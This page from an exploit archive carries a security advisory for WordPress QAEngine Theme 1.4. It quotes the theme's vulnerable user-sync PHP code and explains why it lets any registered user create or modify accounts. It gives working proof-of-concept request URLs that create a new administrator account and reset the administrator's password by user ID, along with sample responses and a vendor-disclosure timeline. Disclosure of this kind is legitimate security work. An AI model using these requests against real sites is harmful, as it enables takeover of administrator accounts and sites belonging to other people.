exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress QAEngine Theme 1.4 Privilege Escalation

WordPress QAEngine Theme 1.4 Privilege Escalation
Posted Apr 24, 2015
Authored by Evex

WordPress QAEngine Theme version 1.4 suffers from a privilege escalation vulnerability.

tags | exploit
SHA-256 | 83976326087c31c7102e2646fc3829eb8a1f6ff16ade8fae6f4bec7ea6e1d799

WordPress QAEngine Theme 1.4 Privilege Escalation

Change Mirror Download
[-] Theme Link:

https://www.enginethemes.com/themes/qaengine/

[-] Vulnerability Description:

[+] 1st Vulnerability:

qaengine vulnerability allows an attacker to have an administrator account
on the target's website
vuln code in /qaengine/includes/aecore/class-ae-users.php:

public function insert( $user_data ){
if( !$user_data['user_login'] || !preg_match('/^[a-z\d_]{2,20}$/i',
$user_data['user_login']) ) {
return new WP_Error( 'username_invalid', __("Username only
lowercase letters (a-z) and numbers are allowed.", ET_DOMAIN) );
}
/**
* insert user by wp_insert_user
*/
$result = wp_insert_user( $user_data ); ....

its inserting a new user using user input ( $user_data )
the function is being accessed from the sync function

public function sync($request) {
extract( $request );
unset($request['method']);
switch ( $method ) {
case 'create':
$result = $this->insert( $request );
break;
case 'update':
$result = $this->update( $request );
break;
case 'remove':
$result = $this->delete( $request['ID'] );
break;
case 'read':
$result = $this->get( $request['ID'] );
break;
default :
return new WP_Error('invalid_method', __("Invalid method",
ET_DOMAIN) );
}
return $result;
}

and the sync function can be accessed through ajax
$this->add_ajax('ae-sync-user', 'sync');

and since there is no third parameter in add_ajax setting 'nopriv' to true
this can be accessed only by registered users

public function add_ajax($hook, $callback, $priv = true, $no_priv = true,
$priority = 10, $accepted_args = 1 ){
if ( $priv )
$this->add_action( self::AJAX_PREFIX . $hook, $callback,
$priority, $accepted_args );
if ( $no_priv )
$this->add_action( self::AJAX_NOPRIV_PREFIX . $hook, $callback,
$priority, $accepted_args );
}

Proof of Concept:

accessing this by a registered user will insert a new user with username
(xADMIN) and password (xPASS) and an administrator role

localhost/wp/wp-admin/admin-ajax.php?action=ae-sync-user&method=create&user_login=xADMIN&user_pass=xPASS&role=administrator

response:

{"success":true,"data":{"action":"ae-sync-user","user_login":"xADMIN","user_pass":"xPASS","role":"administrator","ID":5},"msg":"Update
user successful!"}

[+] 2nd Vunerability:

and another vulnerability in update function
public function update( $user_data ){
....
$result = wp_update_user( $user_data );
...
}

this will allow the attacker to update any user(including administrator)
information like password,email,etc...

Proof of Concept:

the id parameter is the id of the user to be modified (usually 1 will be
the administrator)
localhost/wp/wp-admin/admin-ajax.php?action=ae-sync-user&method=update&ID=1&user_pass=ANOTHERPASSWORD

Response:

{"success":true,"data":{"ID":"1","user_login":"admin","user_nicename":"admin","user_email":
...


[-] Timeline:

22 March - Vendor Notified
23 March - Vendor Replied & Fix Released
07 April - Public Disclosure
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close